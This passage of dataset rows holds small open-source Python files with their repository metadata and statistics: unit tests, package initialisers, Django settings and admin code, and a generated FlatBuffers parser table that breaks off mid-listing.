b53045fde1b89f028b0c8e29a5ed278d08e18314	23	py	Python	branch_test.py	ReasearchAssistant/test02	2155849edbc15ea099b3b391ab35d5f23ebbf988	[ "MIT" ]	null	null	null	branch_test.py	ReasearchAssistant/test02	2155849edbc15ea099b3b391ab35d5f23ebbf988	[ "MIT" ]	null	null	null	branch_test.py	ReasearchAssistant/test02	2155849edbc15ea099b3b391ab35d5f23ebbf988	[ "MIT" ]	null	null	null	print('hello branch11')	23	23	0.782609	3	23	6	1	0	0	0	0	0	0	0	0	0	0.090909	0.043478	23	1	23	23	0.727273	0	0	0	0	0.583333	0	0	0	0	0	1	0	true	0	0	0	0	1	1	1	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	0	1	5
b53cc72b9fa2936b490a7726584419f83e2642b3	4,500	py	Python	hydropick/util/tests/test_commands.py	dpinte/hydropick	bb8c8775f15bdc9fa1a0a443ad0cdd9702a7e7af	[ "CC-BY-3.0" ]	1	2019-01-24T16:22:23.000Z	2019-01-24T16:22:23.000Z	hydropick/util/tests/test_commands.py	dpinte/hydropick	bb8c8775f15bdc9fa1a0a443ad0cdd9702a7e7af	[ "CC-BY-3.0" ]	null	null	null	hydropick/util/tests/test_commands.py	dpinte/hydropick	bb8c8775f15bdc9fa1a0a443ad0cdd9702a7e7af	[ "CC-BY-3.0" ]	null	null	null	# # (C) Copyright 2014 Enthought, Inc., Austin, TX # All right reserved. # # This file is open source software distributed according to the terms in # LICENSE.txt # from __future__ import absolute_import from unittest import TestCase, main from traits.api import HasTraits, Int from apptools.undo.api import UndoManager, CommandStack from hydropick.util.commands import AttributeSetCommand class TargetClass(HasTraits): value = Int class TestAttributeSetCommand(TestCase): def setUp(self): self.manager = UndoManager() self.stack = CommandStack(undo_manager=self.manager) self.manager.active_stack = self.stack self.data = TargetClass() self.data.value = 0 def test_command_do(self): command = AttributeSetCommand( data=self.data, attribute='value', value=1 ) self.manager.active_stack.push(command) self.assertEqual(self.data.value, 1) def test_command_undo(self): command = AttributeSetCommand( data=self.data, attribute='value', value=1 ) self.manager.active_stack.push(command) self.manager.active_stack.undo() self.assertEqual(self.data.value, 0) def test_command_redo(self): command = AttributeSetCommand( data=self.data, attribute='value', value=1 ) self.manager.active_stack.push(command) self.manager.undo() self.manager.redo() self.assertEqual(self.data.value, 1) def test_mergeable_command_do(self): command1 = AttributeSetCommand( data=self.data, attribute='value', value=1, mergeable=True, ) command2 = AttributeSetCommand( data=self.data, attribute='value', value=2, mergeable=True, ) self.manager.active_stack.push(command1) self.manager.active_stack.push(command2) self.assertEqual(self.data.value, 2) def test_mergeable_command_undo(self): command1 = AttributeSetCommand( data=self.data, attribute='value', value=1, mergeable=True, ) command2 = AttributeSetCommand( data=self.data, attribute='value', value=2, mergeable=True, ) self.manager.active_stack.push(command1) self.manager.active_stack.push(command2) self.manager.active_stack.undo() self.assertEqual(self.data.value, 0) def test_mergeable_command_redo(self): command1 = AttributeSetCommand( data=self.data, attribute='value', value=1, mergeable=True, ) command2 = AttributeSetCommand( data=self.data, attribute='value', value=2, mergeable=True, ) self.manager.active_stack.push(command1) self.manager.active_stack.push(command2) self.manager.active_stack.undo() self.manager.active_stack.redo() self.assertEqual(self.data.value, 2) def test_unmergeable_command_undo_1(self): command1 = AttributeSetCommand( data=self.data, attribute='value', value=1, ) command2 = AttributeSetCommand( data=self.data, attribute='value', value=2, mergeable=True, ) self.manager.active_stack.push(command1) self.manager.active_stack.push(command2) self.assertEqual(self.data.value, 2) self.manager.active_stack.undo() self.assertEqual(self.data.value, 1) self.manager.active_stack.undo() self.assertEqual(self.data.value, 0) def test_unmergeable_command_undo_2(self): command1 = AttributeSetCommand( data=self.data, attribute='value', value=1, mergeable=True, ) command2 = AttributeSetCommand( data=self.data, attribute='value', value=2, ) self.manager.active_stack.push(command1) self.manager.active_stack.push(command2) self.manager.active_stack.undo() self.assertEqual(self.data.value, 1) self.manager.active_stack.undo() self.assertEqual(self.data.value, 0) if __name__ == '__main__': main()	28.66242	73	0.595333	461	4,500	5.683297	0.154013	0.10916	0.142748	0.184733	0.759924	0.74313	0.740076	0.726718	0.684351	0.684351	0.016388	0.308444	4,500	156	74	28.846154	0.825514	0.033333	0.694656	0	0	0.016813	0	0	0	0	0.083969	1	0.068702	false	0	0.038168	0	0.129771	0	0	0	0	null	0	0	1	0	1	1	1	0	1	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
b552c5d6b59975a7c93c4a07f3da314ab63d720b	112	py	Python	docbox/tests/test_bounding_box.py	tccorcoran/docbox	8224210931f893679f92d571e06972fbd91e340e	[ "MIT" ]	null	null	null	docbox/tests/test_bounding_box.py	tccorcoran/docbox	8224210931f893679f92d571e06972fbd91e340e	[ "MIT" ]	null	null	null	docbox/tests/test_bounding_box.py	tccorcoran/docbox	8224210931f893679f92d571e06972fbd91e340e	[ "MIT" ]	null	null	null	from docbox.bounding_box import BoundingBox def test_create(): bb = BoundingBox(x1=0, x2=10, y1=0, y2=10)	18.666667	46	0.714286	19	112	4.105263	0.842105	0	0	0	0	0	0	0	0	0	0.106383	0.160714	112	5	47	22.4	0.723404	0	0	0	0	0	0	0	0	0	0	1	0.333333	false	0	0.333333	0	0.666667	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	1	0	0	1	0	1	0	5
b557f69badde285688a0bc640a80961cc99dc557	48	py	Python	simple/utils/__init__.py	mcnanna/simple	5d96abb3994d9034fff1dcec590d0fdced8ba784	[ "MIT" ]	3	2019-10-12T03:02:15.000Z	2022-03-09T23:28:26.000Z	simple/utils/__init__.py	mcnanna/simple	5d96abb3994d9034fff1dcec590d0fdced8ba784	[ "MIT" ]	8	2017-12-28T07:16:44.000Z	2019-06-10T19:36:11.000Z	simple/utils/__init__.py	mcnanna/simple	5d96abb3994d9034fff1dcec590d0fdced8ba784	[ "MIT" ]	3	2019-10-12T03:01:48.000Z	2020-04-28T22:07:37.000Z	""" Simple binning search utils subpackage. """	12	39	0.708333	5	48	6.8	1	0	0	0	0	0	0	0	0	0	0	0.145833	48	3	40	16	0.829268	0.8125	null	0	null	0	0	null	0	0	null	1	null	true	0	0	null	null	null	1	1	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	1	0	0	0	0	null	0	0	0	0	0	1	0	0	0	0	0	5
b56f4ac3f5b60dff692b4d384824203c8587a4bd	33	py	Python	deep_nilmtk/data/loader/tensorflow/__init__.py	DBRTII/Deep-NILMtk	cf6c50ec9891c17f9c626e23c0e1b6f488fefcb3	[ "MIT" ]	1	2022-03-18T08:56:18.000Z	2022-03-18T08:56:18.000Z	deep_nilmtk/data/loader/tensorflow/__init__.py	DBRTII/Deep-NILMtk	cf6c50ec9891c17f9c626e23c0e1b6f488fefcb3	[ "MIT" ]	null	null	null	deep_nilmtk/data/loader/tensorflow/__init__.py	DBRTII/Deep-NILMtk	cf6c50ec9891c17f9c626e23c0e1b6f488fefcb3	[ "MIT" ]	null	null	null	from .general_dataloader import *	33	33	0.848485	4	33	6.75	1	0	0	0	0	0	0	0	0	0	0	0.090909	33	1	33	33	0.9	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	1	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	0	0	5
b5852531387f0eaff054bb9b625c448b376114b3	515	py	Python	python_programs/lcs_length_test.py	vitchyr/QuixBugs	1fd2c3402e1a2aa3ff9ec22d7ba82c07b59996c2	[ "MIT" ]	null	null	null	python_programs/lcs_length_test.py	vitchyr/QuixBugs	1fd2c3402e1a2aa3ff9ec22d7ba82c07b59996c2	[ "MIT" ]	null	null	null	python_programs/lcs_length_test.py	vitchyr/QuixBugs	1fd2c3402e1a2aa3ff9ec22d7ba82c07b59996c2	[ "MIT" ]	null	null	null	from .lcs_length import lcs_length def test_main(): assert lcs_length('witch', 'sandwich') == 2 assert lcs_length('meow', 'homeowner') == 4 assert lcs_length('aaa', 'baaa') == 3 assert lcs_length('aaa', 'aaab') == 3 assert lcs_length('aaa', 'aaa') == 3 assert lcs_length('bab', 'a') == 1 assert lcs_length('a', 'bab') == 1 assert lcs_length('aa', 'baab') == 2 assert lcs_length('ba', 'a') == 1 assert lcs_length('ab', 'a') == 1 if __name__ == "__main__": test_main()	27.105263	47	0.592233	74	515	3.824324	0.364865	0.381625	0.530035	0.190813	0.254417	0	0	0	0	0	0.024631	0.21165	515	18	48	28.611111	0.672414	0	0	0	0	0.143689	0	0	0	0	0.714286	1	0.071429	true	0	0.071429	0	0.142857	0	0	0	0	null	1	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	1	0	0	0	0	0	5
b5aedffcd6cb5ce7ef03318286c521194a5cf127	232	py	Python	image_optimizer/settings.py	alissonmuller/django-image-optimizer	766ebda52c64d85e2f1f4bdc3cde958156fc1b3f	[ "MIT" ]	null	null	null	image_optimizer/settings.py	alissonmuller/django-image-optimizer	766ebda52c64d85e2f1f4bdc3cde958156fc1b3f	[ "MIT" ]	null	null	null	image_optimizer/settings.py	alissonmuller/django-image-optimizer	766ebda52c64d85e2f1f4bdc3cde958156fc1b3f	[ "MIT" ]	1	2021-01-30T22:16:26.000Z	2021-01-30T22:16:26.000Z	# -- coding: utf-8 -- from __future__ import unicode_literals from django.conf import settings OPTIMIZED_IMAGE_METHOD = getattr(settings, 'OPTIMIZED_IMAGE_METHOD', 'tinypng') TINYPNG_KEY = getattr(settings, 'TINYPNG_KEY', None)	29	79	0.780172	29	232	5.862069	0.62069	0.2	0.258824	0.329412	0	0	0	0	0	0	0.004831	0.107759	232	7	80	33.142857	0.816425	0.090517	0	0	0	0.191388	0.105263	0	0	0	0	1	0	false	0	0.5	0	0.5	0	1	0	0	null	0	1	1	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	1	0	0	0	5
a92d7f750cba93cef727b431b93ef5ee02c5c1c1	23	py	Python	modelforge/version.py	irinakhismatullina/modelforge	5ed2f235b6171bf35e67feb55f84881163dd81bf	[ "Apache-2.0" ]	null	null	null	modelforge/version.py	irinakhismatullina/modelforge	5ed2f235b6171bf35e67feb55f84881163dd81bf	[ "Apache-2.0" ]	null	null	null	modelforge/version.py	irinakhismatullina/modelforge	5ed2f235b6171bf35e67feb55f84881163dd81bf	[ "Apache-2.0" ]	null	null	null	__version__ = 0, 11, 1	11.5	22	0.652174	4	23	2.75	1	0	0	0	0	0	0	0	0	0	0.222222	0.217391	23	1	23	23	0.388889	0	0	0	0	0	0	0	0	0	0	1	0	false	0	0	0	0	0	1	1	0	null	0	0	0	0	0	0	0	0	0	1	1	0	0	1	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	5
8d391c5efc366eba1cdf5d320ed02159ef34eaa7	561	py	Python	experiments/__init__.py	XiaoMutt/ucbc	f8aeb65dc5a11ecd82fd969d120f3a848d61c064	[ "MIT" ]	null	null	null	experiments/__init__.py	XiaoMutt/ucbc	f8aeb65dc5a11ecd82fd969d120f3a848d61c064	[ "MIT" ]	null	null	null	experiments/__init__.py	XiaoMutt/ucbc	f8aeb65dc5a11ecd82fd969d120f3a848d61c064	[ "MIT" ]	null	null	null	from .bernoulli import BernoulliExperimentWithin, BernoulliExperimentWithin10RandomArms from .bernoulli import BernoulliExperimentWithin10AdversarialArms from .bimodal import BimodalExperimentWithin, BimodalExperimentBeyond, BimodalExperimentWithin10RandomArms from .normal import NormalExperimentWithin, NormalExperimentBeyond, NormalExperimentWithin10RandomArms from .normal import NormalExperimentWithin10AdversarialArms from .uniform import UniformExperimentWithin, UniformExperimentBeyond, UniformExperimentWithin10RandomArms from .basis import Experiment	70.125	106	0.912656	35	561	14.628571	0.6	0.050781	0.074219	0	0	0	0	0	0	0	0.022814	0.062389	561	7	107	80.142857	0.95057	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	0	0	1	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
8d3be1095229980805b57485efd1c788928885a5	166	py	Python	apps/external_apps/schedule/admin.py	indro/t2c	56482ad4aed150f29353e054db2c97b567243bf8	[ "MIT" ]	3	2015-12-25T14:45:36.000Z	2016-11-28T09:58:03.000Z	apps/external_apps/schedule/admin.py	indro/t2c	56482ad4aed150f29353e054db2c97b567243bf8	[ "MIT" ]	null	null	null	apps/external_apps/schedule/admin.py	indro/t2c	56482ad4aed150f29353e054db2c97b567243bf8	[ "MIT" ]	null	null	null	from django.contrib import admin from schedule.models import Calendar, Event, CalendarRelation, Rule admin.site.register([Rule, Event, Calendar, CalendarRelation])	27.666667	67	0.813253	20	166	6.75	0.65	0	0	0	0	0	0	0	0	0	0	0.10241	166	5	68	33.2	0.90604	0	0	0	0	0	0	0	0	0	0	1	0	true	0	0.666667	0	0.666667	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
8d8c9e992ed580185f19873f8ab377ba80dafe6e	998	py	Python	tests/test_socfaker_dns.py	priamai/soc-faker	51b587f0cec52212136905280406e915006d2afc	[ "MIT" ]	122	2020-02-21T16:06:54.000Z	2022-03-21T13:53:03.000Z	tests/test_socfaker_dns.py	priamai/soc-faker	51b587f0cec52212136905280406e915006d2afc	[ "MIT" ]	13	2020-01-29T16:37:05.000Z	2022-01-27T21:30:10.000Z	tests/test_socfaker_dns.py	priamai/soc-faker	51b587f0cec52212136905280406e915006d2afc	[ "MIT" ]	20	2020-04-10T11:59:29.000Z	2022-02-10T09:20:26.000Z	def test_socfaker_dns_record(socfaker_fixture): assert socfaker_fixture.dns.record def test_socfaker_dns_header_flags(socfaker_fixture): assert socfaker_fixture.dns.header_flags assert isinstance(socfaker_fixture.dns.header_flags, list) def test_socfaker_dns_id(socfaker_fixture): assert socfaker_fixture.dns.id def test_socfaker_dns_response_code(socfaker_fixture): assert socfaker_fixture.dns.response_code def test_socfaker_dns_op_code(socfaker_fixture): assert socfaker_fixture.dns.op_code def test_socfaker_dns_answers(socfaker_fixture): assert socfaker_fixture.dns.answers assert isinstance(socfaker_fixture.dns.answers, list) def test_socfaker_dns_question(socfaker_fixture): assert socfaker_fixture.dns.question assert isinstance(socfaker_fixture.dns.question, dict) def test_socfaker_dns_direction(socfaker_fixture): assert socfaker_fixture.dns.direction def test_socfaker_dns_name(socfaker_fixture): assert socfaker_fixture.dns.name	34.413793	62	0.839679	136	998	5.757353	0.147059	0.402299	0.275862	0.206897	0.729246	0.458493	0.109834	0	0	0	0	0.1002	998	29	63	34.413793	0.871938	0	0	0	0	0	0	0	0	0	0.571429	1	0.428571	false	0	0	0	0.428571	0	0	0	0	null	1	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	1	0	0	0	0	0	0	5
570951e5039cc267913a5078fd4f312c1faa0b7c	123	py	Python	COERbuoyOne/__init__.py	SiHeTh/COERbuoyOne	2f3dd0cdb9552d3fd9ebc5f281feda94bc2b0e6d	[ "BSD-3-Clause" ]	1	2021-09-27T23:55:58.000Z	2021-09-27T23:55:58.000Z	COERbuoyOne/__init__.py	SiHeTh/COERbuoyOne	2f3dd0cdb9552d3fd9ebc5f281feda94bc2b0e6d	[ "BSD-3-Clause" ]	null	null	null	COERbuoyOne/__init__.py	SiHeTh/COERbuoyOne	2f3dd0cdb9552d3fd9ebc5f281feda94bc2b0e6d	[ "BSD-3-Clause" ]	null	null	null	from COERbuoy.simulation import start_simu, reg_wave, bretschneider_wave, decay_test from COERbuoyOne.benchmark import run	41	84	0.869919	17	123	6.058824	0.823529	0	0	0	0	0	0	0	0	0	0	0.089431	123	2	85	61.5	0.919643	0	0	0	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	1	0	0	null	0	0	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	1	0	1	0	5
573fe05073d7fe2b9eaef9dce5813e48f9a5bae7	13,795	py	Python	fbs/parser/parsetab.py	adsharma/flattools	ec61147ec35a8426dd8a8f312d48484ec1b2cb84	[ "MIT" ]	17	2017-03-31T08:21:47.000Z	2022-02-24T00:27:22.000Z	fbs/parser/parsetab.py	adsharma/flattools	ec61147ec35a8426dd8a8f312d48484ec1b2cb84	[ "MIT" ]	3	2018-03-08T18:21:26.000Z	2020-10-27T04:36:05.000Z	fbs/parser/parsetab.py	adsharma/flattools	ec61147ec35a8426dd8a8f312d48484ec1b2cb84	[ "MIT" ]	1	2018-12-06T12:59:16.000Z	2018-12-06T12:59:16.000Z	# parsetab.py # This file is automatically generated. Do not edit. # pylint: disable=W,C,R _tabversion = '3.10' _lr_method = 'LALR' _lr_signature = "ATTRIBUTE BOOL BOOLCONSTANT BYTE DOUBLE DUBCONSTANT ENUM FILE_EXTENSION FILE_IDENTIFIER FLOAT IDENTIFIER INCLUDE INT INTCONSTANT LITERAL LONG NAMESPACE ROOT_TYPE SHORT STRING STRUCT TABLE UBYTE UINT ULONG UNION USHORTstart : include_seq body_seqinclude_seq : include_seq include_one\n \| include_one\n \|body_seq : body_seq body\n \| body\n \|include_one : INCLUDE LITERAL ';' body : namespace\n \| typedef\n \| enum\n \| root\n \| file_extension\n \| file_identifier\n \| attribute\n \| object\n \|namespace : NAMESPACE IDENTIFIER ';' root : ROOT_TYPE IDENTIFIER ';' file_extension : FILE_EXTENSION LITERAL ';' file_identifier : FILE_IDENTIFIER LITERAL ';' metadata : '(' metadata_seq ')'\n \|metadata_seq : metadata_item ',' metadata_seq\n \| metadata_item\n \|metadata_item : IDENTIFIER\n \| IDENTIFIER ':' scalarattribute : ATTRIBUTE LITERAL ';' object : '{' field_seq '}' typedef : table\n typedef : struct enum : ENUM IDENTIFIER metadata '{' enum_seq '}'\n enum : ENUM IDENTIFIER ':' simple_base_type metadata '{' enum_seq '}'\n enum : unionenum_seq : enum_item ',' enum_seq\n \| enum_item enum_seq\n \|enum_item : IDENTIFIER '=' INTCONSTANT\n \| IDENTIFIER '=' LITERAL\n \| IDENTIFIER\n \|struct : STRUCT IDENTIFIER metadata '{' field_seq '}' table : TABLE IDENTIFIER metadata '{' field_seq '}' union : UNION IDENTIFIER metadata '{' enum_seq '}' field_seq : field field_seq\n \|field : IDENTIFIER ':' type metadata ';'\n \| IDENTIFIER ':' type '=' scalar metadata ';' type : simple_base_type\n \| '[' type ']'\n \| IDENTIFIERsimple_base_type : BOOL\n \| BYTE\n \| UBYTE\n \| SHORT\n \| USHORT\n \| INT\n \| UINT\n \| FLOAT\n \| LONG\n \| ULONG\n \| DOUBLE\n \| STRINGscalar : LITERAL\n \| BOOLCONSTANT\n \| DUBCONSTANT\n \| INTCONSTANT\n \| IDENTIFIER" _lr_action_items = {'SHORT':([49,55,79,],[71,71,71,]),'BOOLCONSTANT':([84,92,],[99,99,]),'UBYTE':([49,55,79,],[67,67,67,]),'[':([55,79,],[79,79,]),'DUBCONSTANT':([84,92,],[101,101,]),'FILE_IDENTIFIER':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,25,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,25,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'ULONG':([49,55,79,],[64,64,64,]),')':([45,58,59,60,83,95,96,97,98,99,100,101,],[-26,82,-25,-27,-26,-24,-69,-68,-65,-66,-28,-67,]),'(':([31,32,35,36,63,64,65,66,67,68,69,70,71,72,73,74,75,78,80,81,96,97,98,99,101,110,112,],[45,45,45,45,-64,-62,-58,-63,-55,-59,-61,-60,-56,-53,45,-57,-54,45,-52,-50,-69,-68,-65,-66,-67,45,-51,]),'FILE_EXTENSION':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,13,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,13,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),',':([59,60,61,76,86,87,96,97,98,99,100,101,105,107,113,114,],[83,-27,-42,-42,-41,105,-69,-68,-65,-66,-28,-67,-42,-42,-39,-40,]),'LONG':([49,55,79,],[69,69,69,]),'INTCONSTANT':([84,92,103,],[97,97,113,]),'TABLE':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,16,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,16,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),';':([29,30,34,37,38,39,63,64,65,66,67,68,69,70,71,72,74,75,78,80,81,82,93,96,97,98,99,101,110,112,117,],[43,44,48,52,53,54,-64,-62,-58,-63,-55,-59,-61,-60,-56,-53,-57,-54,-23,-52,-50,-22,111,-69,-68,-65,-66,-67,-23,-51,119,]),'IDENTIFIER':([15,16,21,22,23,24,27,41,45,55,61,62,76,77,79,83,84,86,87,92,105,107,111,113,114,119,],[31,32,34,35,36,37,40,40,60,80,86,40,86,40,80,60,96,-41,86,96,86,86,-48,-39,-40,-49,]),'=':([63,64,65,66,67,68,69,70,71,72,74,75,78,80,81,86,112,],[-64,-62,-58,-63,-55,-59,-61,-60,-56,-53,-57,-54,92,-52,-50,103,-51,]),'$end':([0,1,2,3,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,-7,0,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,-1,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'STRING':([49,55,79,],[63,63,63,]),'UNION':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,15,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,15,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'ENUM':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,22,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,22,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'NAMESPACE':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,21,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,21,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'LITERAL':([4,13,25,26,84,92,103,],[29,30,38,39,98,98,114,]),'UINT':([49,55,79,],[68,68,68,]),'BYTE':([49,55,79,],[75,75,75,]),'INCLUDE':([0,1,2,5,43,],[4,-3,4,-2,-8,]),']':([63,64,65,66,67,68,69,70,71,72,74,75,80,81,94,112,],[-64,-62,-58,-63,-55,-59,-61,-60,-56,-53,-57,-54,-52,-50,112,-51,]),':':([35,40,60,],[49,55,84,]),'STRUCT':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,23,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,23,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'ROOT_TYPE':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,24,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,24,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'INT':([49,55,79,],[65,65,65,]),'ATTRIBUTE':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,33,43,44,48,52,53,54,57,102,106,108,109,118,],[-4,-3,26,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,26,-11,-12,-5,-8,-20,-18,-19,-21,-29,-30,-45,-44,-33,-43,-34,]),'USHORT':([49,55,79,],[74,74,74,]),'FLOAT':([49,55,79,],[70,70,70,]),'BOOL':([49,55,79,],[72,72,72,]),'DOUBLE':([49,55,79,],[66,66,66,]),'{':([0,1,2,5,6,7,8,9,10,11,12,14,17,18,19,20,28,31,32,33,35,36,43,44,46,47,48,50,51,52,53,54,57,63,64,65,66,67,68,69,70,71,72,73,74,75,82,89,102,106,108,109,118,],[-4,-3,27,-2,-15,-13,-31,-14,-10,-32,-35,-9,-6,-16,27,-11,-12,-23,-23,-5,-23,-23,-8,-20,61,62,-18,76,77,-19,-21,-29,-30,-64,-62,-58,-63,-55,-59,-61,-60,-56,-53,-23,-57,-54,-22,107,-45,-44,-33,-43,-34,]),'}':([27,41,42,56,61,62,76,77,85,86,87,88,90,91,104,105,107,111,113,114,115,116,119,],[-47,-47,57,-46,-38,-47,-38,-47,102,-41,-38,106,108,109,-37,-38,-38,-48,-39,-40,-36,118,-49,]),} _lr_action = {} for _k, _v in _lr_action_items.items(): for _x,_y in zip(_v[0],_v[1]): if not _x in _lr_action: _lr_action[_x] = {} _lr_action[_x][_k] = _y del _lr_action_items _lr_goto_items = {'include_one':([0,2,],[1,5,]),'attribute':([2,19,],[6,6,]),'file_extension':([2,19,],[7,7,]),'scalar':([84,92,],[100,110,]),'table':([2,19,],[8,8,]),'field_seq':([27,41,62,77,],[42,56,88,91,]),'file_identifier':([2,19,],[9,9,]),'typedef':([2,19,],[10,10,]),'include_seq':([0,],[2,]),'struct':([2,19,],[11,11,]),'start':([0,],[3,]),'union':([2,19,],[12,12,]),'namespace':([2,19,],[14,14,]),'field':([27,41,62,77,],[41,41,41,41,]),'type':([55,79,],[78,94,]),'metadata':([31,32,35,36,73,78,110,],[46,47,50,51,89,93,117,]),'body':([2,19,],[17,33,]),'object':([2,19,],[18,18,]),'body_seq':([2,],[19,]),'enum':([2,19,],[20,20,]),'simple_base_type':([49,55,79,],[73,81,81,]),'enum_item':([61,76,87,105,107,],[87,87,87,87,87,]),'enum_seq':([61,76,87,105,107,],[85,90,104,115,116,]),'metadata_seq':([45,83,],[58,95,]),'metadata_item':([45,83,],[59,59,]),'root':([2,19,],[28,28,]),} _lr_goto = {} for _k, _v in _lr_goto_items.items(): for _x, _y in zip(_v[0], _v[1]): if not _x in _lr_goto: _lr_goto[_x] = {} _lr_goto[_x][_k] = _y del _lr_goto_items _lr_productions = [ ("S' -> start","S'",1,None,None,None), ('start -> include_seq body_seq','start',2,'p_start','parser.py',30), ('include_seq -> include_seq include_one','include_seq',2,'p_include_seq','parser.py',34), ('include_seq -> include_one','include_seq',1,'p_include_seq','parser.py',35), ('include_seq -> <empty>','include_seq',0,'p_include_seq','parser.py',36), ('body_seq -> body_seq body','body_seq',2,'p_body_seq','parser.py',39), ('body_seq -> body','body_seq',1,'p_body_seq','parser.py',40), ('body_seq -> <empty>','body_seq',0,'p_body_seq','parser.py',41), ('include_one -> INCLUDE LITERAL ;','include_one',3,'p_include_one','parser.py',44), ('body -> namespace','body',1,'p_body','parser.py',62), ('body -> typedef','body',1,'p_body','parser.py',63), ('body -> enum','body',1,'p_body','parser.py',64), ('body -> root','body',1,'p_body','parser.py',65), ('body -> file_extension','body',1,'p_body','parser.py',66), ('body -> file_identifier','body',1,'p_body','parser.py',67), ('body -> attribute','body',1,'p_body','parser.py',68), ('body -> object','body',1,'p_body','parser.py',69), ('body -> <empty>','body',0,'p_body','parser.py',70), ('namespace -> NAMESPACE IDENTIFIER ;','namespace',3,'p_namespace','parser.py',73), ('root -> ROOT_TYPE IDENTIFIER ;','root',3,'p_root','parser.py',77), ('file_extension -> FILE_EXTENSION LITERAL ;','file_extension',3,'p_file_extension','parser.py',81), ('file_identifier -> FILE_IDENTIFIER LITERAL ;','file_identifier',3,'p_file_identifier','parser.py',85), ('metadata -> ( metadata_seq )','metadata',3,'p_metadata','parser.py',89), ('metadata -> <empty>','metadata',0,'p_metadata','parser.py',90), ('metadata_seq -> metadata_item , metadata_seq','metadata_seq',3,'p_metadata_seq','parser.py',97), ('metadata_seq -> metadata_item','metadata_seq',1,'p_metadata_seq','parser.py',98), ('metadata_seq -> <empty>','metadata_seq',0,'p_metadata_seq','parser.py',99), ('metadata_item -> IDENTIFIER','metadata_item',1,'p_metadata_item','parser.py',103), ('metadata_item -> IDENTIFIER : scalar','metadata_item',3,'p_metadata_item','parser.py',104), ('attribute -> ATTRIBUTE LITERAL ;','attribute',3,'p_attribute','parser.py',111), ('object -> { field_seq }','object',3,'p_object','parser.py',114), ('typedef -> table','typedef',1,'p_typedef','parser.py',117), ('typedef -> struct','typedef',1,'p_typedef','parser.py',118), ('enum -> ENUM IDENTIFIER metadata { enum_seq }','enum',6,'p_enum','parser.py',123), ('enum -> ENUM IDENTIFIER : simple_base_type metadata { enum_seq }','enum',8,'p_enum','parser.py',124), ('enum -> union','enum',1,'p_enum','parser.py',125), ('enum_seq -> enum_item , enum_seq','enum_seq',3,'p_enum_seq','parser.py',138), ('enum_seq -> enum_item enum_seq','enum_seq',2,'p_enum_seq','parser.py',139), ('enum_seq -> <empty>','enum_seq',0,'p_enum_seq','parser.py',140), ('enum_item -> IDENTIFIER = INTCONSTANT','enum_item',3,'p_enum_item','parser.py',145), ('enum_item -> IDENTIFIER = LITERAL','enum_item',3,'p_enum_item','parser.py',146), ('enum_item -> 